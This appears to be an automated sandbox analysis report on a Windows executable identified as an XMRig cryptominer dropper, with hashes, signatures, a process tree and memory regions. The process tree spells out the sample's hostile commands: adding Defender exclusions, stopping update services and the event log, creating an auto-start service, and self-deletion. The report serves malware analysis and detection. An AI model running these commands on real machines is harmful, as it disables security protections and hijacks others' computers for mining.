Analysis

  • max time kernel
    152s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/05/2024, 23:12

General

  • Target

    83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe

  • Size

    5.3MB

  • MD5

    83b58209eca8af0c1ffb70f20f248980

  • SHA1

    79d4a419313c14b541b63b277173017a8fc810db

  • SHA256

    cb00c812a1a82c757dd0cfa3fb50ea8542e84031742a45116617a353eaf01acd

  • SHA512

    1911439ff7a5391cd3d1276fe7b16ff0bd0bcac10f27ea40398cbbcd42449315de43f4e8f54908d4f985a4d8831029fa292bc3f238bad3a0fce88a16aba03b67

  • SSDEEP

    98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 11 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
    "C:\Users\Admin\AppData\Local\Temp\83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:3192
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2884
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4208
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:3084
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:412
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:3752
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:828
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:4848
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:2040
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2408
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4488
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4388
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1536
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "JIOGRCSG"
        2⤵
        • Launches sc.exe
        PID:4496
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:3544
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:4320
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "JIOGRCSG"
        2⤵
        • Launches sc.exe
        PID:4988
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2216
        • C:\Windows\system32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:4964
      • C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
        C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1588
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2244
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2592
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            3⤵
              PID:2316
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            2⤵
            • Launches sc.exe
            PID:2152
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            2⤵
            • Launches sc.exe
            PID:4224
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            2⤵
            • Launches sc.exe
            PID:4644
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            2⤵
            • Launches sc.exe
            PID:4848
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            2⤵
            • Launches sc.exe
            PID:2256
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1628
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3344
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4256
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2764
          • C:\Windows\system32\conhost.exe
            C:\Windows\system32\conhost.exe
            2⤵
              PID:2348
            • C:\Windows\system32\nslookup.exe
              nslookup.exe
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4464
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4144 --field-trial-handle=3192,i,2785050981002401924,4037047756083432660,262144 --variations-seed-version /prefetch:8
            1⤵
              PID:4628

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe

                    Filesize

                    5.3MB

                    MD5

                    83b58209eca8af0c1ffb70f20f248980

                    SHA1

                    79d4a419313c14b541b63b277173017a8fc810db

                    SHA256

                    cb00c812a1a82c757dd0cfa3fb50ea8542e84031742a45116617a353eaf01acd

                    SHA512

                    1911439ff7a5391cd3d1276fe7b16ff0bd0bcac10f27ea40398cbbcd42449315de43f4e8f54908d4f985a4d8831029fa292bc3f238bad3a0fce88a16aba03b67

                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rrkwz4zg.zos.ps1

                    Filesize

                    60B

                    MD5

                    d17fe0a3f47be24a6453e9ef58c94641

                    SHA1

                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                    SHA256

                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                    SHA512

                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                  • memory/2244-41-0x000001F87F0E0000-0x000001F87F0EA000-memory.dmp

                    Filesize

                    40KB

                  • memory/2244-47-0x000001F87F690000-0x000001F87F69A000-memory.dmp

                    Filesize

                    40KB

                  • memory/2244-46-0x000001F818F60000-0x000001F818F66000-memory.dmp

                    Filesize

                    24KB

                  • memory/2244-45-0x000001F818F50000-0x000001F818F58000-memory.dmp

                    Filesize

                    32KB

                  • memory/2244-44-0x000001F87F750000-0x000001F87F76A000-memory.dmp

                    Filesize

                    104KB

                  • memory/2244-43-0x000001F87F0F0000-0x000001F87F0FA000-memory.dmp

                    Filesize

                    40KB

                  • memory/2244-42-0x000001F87F730000-0x000001F87F74C000-memory.dmp

                    Filesize

                    112KB

                  • memory/2244-39-0x000001F818D30000-0x000001F818D4C000-memory.dmp

                    Filesize

                    112KB

                  • memory/2244-40-0x000001F818D50000-0x000001F818E05000-memory.dmp

                    Filesize

                    724KB

                  • memory/2348-53-0x0000000140000000-0x000000014000E000-memory.dmp

                    Filesize

                    56KB

                  • memory/2348-54-0x0000000140000000-0x000000014000E000-memory.dmp

                    Filesize

                    56KB

                  • memory/2348-57-0x0000000140000000-0x000000014000E000-memory.dmp

                    Filesize

                    56KB

                  • memory/2348-52-0x0000000140000000-0x000000014000E000-memory.dmp

                    Filesize

                    56KB

                  • memory/2348-51-0x0000000140000000-0x000000014000E000-memory.dmp

                    Filesize

                    56KB

                  • memory/2348-50-0x0000000140000000-0x000000014000E000-memory.dmp

                    Filesize

                    56KB

                  • memory/2884-17-0x00007FFED6E50000-0x00007FFED7911000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/2884-14-0x00007FFED6E50000-0x00007FFED7911000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/2884-13-0x00007FFED6E50000-0x00007FFED7911000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/2884-12-0x00007FFED6E50000-0x00007FFED7911000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/2884-11-0x00007FFED6E50000-0x00007FFED7911000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/2884-1-0x0000020450200000-0x0000020450222000-memory.dmp

                    Filesize

                    136KB

                  • memory/2884-0-0x00007FFED6E53000-0x00007FFED6E55000-memory.dmp

                    Filesize

                    8KB

                  • memory/4464-59-0x0000000140000000-0x0000000140848000-memory.dmp

                    Filesize

                    8.3MB

                  • memory/4464-70-0x0000000140000000-0x0000000140848000-memory.dmp

                    Filesize

                    8.3MB

                  • memory/4464-58-0x0000000140000000-0x0000000140848000-memory.dmp

                    Filesize

                    8.3MB

                  • memory/4464-64-0x0000000140000000-0x0000000140848000-memory.dmp

                    Filesize

                    8.3MB

                  • memory/4464-63-0x0000000140000000-0x0000000140848000-memory.dmp

                    Filesize

                    8.3MB

                  • memory/4464-62-0x0000000140000000-0x0000000140848000-memory.dmp

                    Filesize

                    8.3MB

                  • memory/4464-61-0x0000000140000000-0x0000000140848000-memory.dmp

                    Filesize

                    8.3MB

                  • memory/4464-60-0x0000000140000000-0x0000000140848000-memory.dmp

                    Filesize

                    8.3MB

                  • memory/4464-67-0x0000000140000000-0x0000000140848000-memory.dmp

                    Filesize

                    8.3MB

                  • memory/4464-65-0x000001EB31950000-0x000001EB31970000-memory.dmp

                    Filesize

                    128KB

                  • memory/4464-69-0x0000000140000000-0x0000000140848000-memory.dmp

                    Filesize

                    8.3MB

                  • memory/4464-68-0x0000000140000000-0x0000000140848000-memory.dmp

                    Filesize

                    8.3MB

                  • memory/4464-66-0x0000000140000000-0x0000000140848000-memory.dmp

                    Filesize

                    8.3MB

                  • memory/4464-71-0x0000000140000000-0x0000000140848000-memory.dmp

                    Filesize

                    8.3MB

                  • memory/4464-73-0x0000000140000000-0x0000000140848000-memory.dmp

                    Filesize

                    8.3MB

                  • memory/4464-74-0x0000000140000000-0x0000000140848000-memory.dmp

                    Filesize

                    8.3MB

                  • memory/4464-75-0x0000000140000000-0x0000000140848000-memory.dmp

                    Filesize

                    8.3MB